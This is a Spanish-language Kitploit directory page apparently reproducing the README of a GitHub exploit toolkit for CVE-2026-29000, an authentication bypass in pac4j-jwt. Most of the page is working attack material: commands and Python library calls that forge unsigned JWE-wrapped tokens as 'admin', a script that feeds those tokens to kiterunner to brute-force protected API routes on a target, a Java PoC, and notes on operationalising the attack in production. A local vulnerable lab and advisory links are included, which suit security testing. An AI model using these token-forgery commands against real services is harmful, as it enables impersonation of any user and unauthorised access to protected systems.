Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29000 — Forge JWT envueltos en JWE sin firmar para evadir la verificación de firma de pac4j-jwt (CVE-2026-29000) y autenticarse como cualquier usuario; incluye CLI de Python, librería, PoC en Java y escaneo de rutas con kiterunner. | Kitploit
Herramientas/GitHubGitHub/kernelzeroday/cve-2026-29000
Autenticación y AutorizaciónReconocimientoGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
kernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWT envueltos en JWE sin firmar para evadir la verificación de firma de pac4j-jwt (CVE-2026-29000) y autenticarse como cualquier usuario; incluye CLI de Python, librería, PoC en Java y escaneo de rutas con kiterunner.

Ver Repositorio
93hace 5 mesesAún no revisado

CVE-2026-29000: Omisión de autenticación en JwtAuthenticator de pac4j-jwt

Buildout completo: informe técnico, PoC en Java en proceso, CLI y librería de forja de tokens en Python, pruebas.

Resumen

  • CVE: CVE-2026-29000 (CVSS 10, CWE-347)
  • Afectados: pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 cuando se usa configuración JWE + firma
  • Problema: PlainJWT (sin firma) envuelto en JWE omite la verificación de firma; un atacante con solo la clave pública RSA del servidor puede forjar tokens y autenticarse como cualquier usuario.

Consulta WRITEUP.md para más detalles y requisitos del PoC.

Estructura

RutaDescripción
WRITEUP.mdResumen del CVE, causa raíz, versiones afectadas, requisitos del PoC, referencias
RECON.mdQué incluir (descubrimiento de claims, claims específicos de la aplicación) y dónde enviar (cabeceras, cookies, encontrar endpoints protegidos)
OPERATIONALIZATION.mdQué se necesita para ejecutar en producción: empaquetado, configuración, seguridad, automatización, observabilidad, mantenimiento
scripts/kr_scan.pyForjar token y ejecutar kiterunner (~/bin/kr) con Authorization: Bearer para fuerza bruta/escaneo de rutas API protegidas
examples/Scripts de ejemplo: forge_and_curl.sh, forge_and_kr.sh
lab/Aplicación Flask de laboratorio (endpoint JWE + JWKS) para probar la forja de tokens
poc/PoC Java Maven (omisión en proceso contra pac4j-jwt 6.0.3)
token_forge/Paquete Python: forjar PlainJWT envuelto en JWE desde PEM o URL JWKS
tests/Pruebas Pytest para claims, forja, claves, CLI
requirements.txtDependencias Python (jwcrypto, requests, pytest)

Python (forja de tokens)

Configuración

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # o .venv\Scripts\activate en Windows
pip install -r requirements.txt

Ejecutar CLI

root@kitploit:~
# Desde PEM (generar con: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /ruta/a/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# Desde URL JWKS
python -m token_forge --jwks-url https://objetivo/.well-known/jwks.json --subject admin

# Claims adicionales (para descubrimiento específico de la aplicación): --claim [email protected] --claim key=value
# Opciones: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

Salida: una sola línea (JWT forjado); usar como Authorization: Bearer <token>.

Automatización con Kiterunner (kr)

Requiere kr en ~/bin/kr. Forjar token y ejecutar kr brute (o kr scan) con autenticación Bearer para descubrir rutas protegidas:

root@kitploit:~
python scripts/kr_scan.py https://objetivo.com --jwks-url https://objetivo.com/.well-known/jwks.json
python scripts/kr_scan.py https://objetivo.com --public-key pub.pem -w paths.txt -o json --dry-run

Consulta RECON.md §4 para opciones (--subject, --roles, --claim, -A, --scan, etc.).

Librería

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

Pruebas

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# o con warnings como errores:
pytest -vv -W error -W always --tb=short --maxfail=1

PoC Java

Compilar y ejecutar (requiere Java 11+ y Maven)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# O solo token (sin validación en proceso):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Con subject/roles personalizados:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

Resultado esperado: [BYPASS] Authenticated as: admin#override y roles al ejecutar en proceso.

Pruebas y cobertura

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # luego abrir htmlcov/index.html

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

Laboratorio (objetivo vulnerable)

Aplicación Flask que acepta JWE y devuelve claims (para probar forja + curl/kr).

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

Consulta lab/README.md.

Referencias

  • CodeAnt AI – PoC completo y análisis
  • Aviso de seguridad de pac4j
  • OpenCVE CVE-2026-29000
Descargar herramienta